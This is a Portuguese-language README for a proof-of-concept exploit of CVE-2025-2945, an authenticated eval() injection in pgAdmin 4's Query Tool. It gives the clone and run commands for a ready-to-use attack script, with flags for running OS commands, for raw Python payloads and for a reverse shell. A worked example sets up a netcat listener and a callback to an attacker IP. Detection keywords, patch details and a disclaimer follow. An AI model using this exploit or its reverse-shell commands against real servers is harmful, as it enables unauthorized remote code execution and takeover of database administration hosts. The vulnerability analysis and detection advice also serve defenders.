
PoC para CVE-2025-2945 — injeção RCE via eval() autenticada no pgAdmin 4, CVSS 9.9
CVSS 3.1: 9.9 (Crítico) · Afeta: pgAdmin 4 8.10 – 9.1 · Corrigido em: 9.2 (4 de abril de 2025) CWE-95 (Neutralização Incorreta de Diretivas em Código Avaliado Dinamicamente / Injeção de Eval)
Uma prova de conceito de exploração para CVE-2025-2945, uma vulnerabilidade de execução remota de código autenticada na Ferramenta de Consulta do pgAdmin 4. Um sinalizador booleano de estado de transação (query_commited) é passado diretamente para eval() do Python em vez de ser analisado como booleano, permitindo que um usuário autenticado execute Python arbitrário — e, por extensão, comandos arbitrários do sistema operacional — sob os privilégios do processo de serviço do pgAdmin. O mesmo anti-padrão está presente uma segunda vez no provedor Google do módulo de Implantação em Nuvem (high_availability).
Um artigo técnico completo cobrindo a causa raiz, a lógica de exploração, orientações de detecção e remediação está disponível aqui: khashayarnazarkardeh.com — Field Notes
Código vulnerável (web/pgadmin/tools/sqleditor/__init__.py):
if key == 'query_commited':
query_commited = (
eval(value) if isinstance(value, str) else value
)
Código corrigido (pgAdmin 9.2+):
query_commited = (
value.lower() in ('true', '1') if isinstance(value, str) else value
)
A vulnerabilidade exige uma sessão autenticada do pgAdmin e uma transação da Ferramenta de Consulta vinculada a um servidor de banco de dados já registrado na conta de destino. Ambos são pré-condições comuns em implantações reais, onde o pgAdmin é tipicamente pré-configurado com uma ou mais conexões de servidor salvas.
--username / --password)--db-user / --db-password / --db-name)git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt
python3 CVE-2025-2945.py \
--host <alvo> --port 80 \
--username <email-pgadmin> --password <senha-pgadmin> \
--db-user <usuario-db> --db-password <senha-db> --db-name <nome-db> \
--cmd id
| Flag | Descrição |
|---|---|
--cmd COMANDO | Executa um único comando do sistema operacional via os.system() |
--reverse-shell HOST:PORTA | Gera um shell reverso via named pipe para um listener que você controla |
--raw-payload EXPR | Passa uma expressão Python bruta diretamente para o sink vulnerável eval() |
# No seu host de ataque, em um terminal separado:
nc -lvnp 4444
# Execute o exploit:
python3 CVE-2025-2945.py \
--host pgadmin.internal.example.com --port 80 \
--username [email protected] --password 'correct-horse-battery-staple' \
--db-user postgres --db-password postgres --db-name postgres \
--reverse-shell 10.10.14.5:4444
python3 CVE-2025-2945.py --help
Os defensores devem monitorar:
/sqleditor/query_tool/download/<trans_id> ou /cloud/deploy onde query_commited / high_availability seja qualquer coisa diferente de um literal "true", "false", "1" ou "0".__import__, os.system, subprocess, eval, exec, open() aparecendo em qualquer um dos parâmetros.Atualize para pgAdmin 4 9.2 ou posterior. O patch é uma correção mínima de coerção booleana de baixo risco. Quando a aplicação imediata do patch não for possível, restrinja o acesso de rede ao pgAdmin a redes autenticadas e confiáveis, e desative o módulo de Implantação em Nuvem para contas que não o exijam.
Khashayar Nazarkardeh — Líder de Segurança Cibernética e de IA khashayarnazarkardeh.com · @Khashayarnzk
Esta ferramenta é fornecida apenas para testes de segurança autorizados, pesquisa e fins educacionais. Executá-la contra qualquer sistema sem autorização explícita e documentada do proprietário do sistema é ilegal na maioria das jurisdições. O autor não assume nenhuma responsabilidade pelo uso indevido deste software. Ao usar este script, você concorda que é o único responsável por garantir que tem permissão para testar o alvo.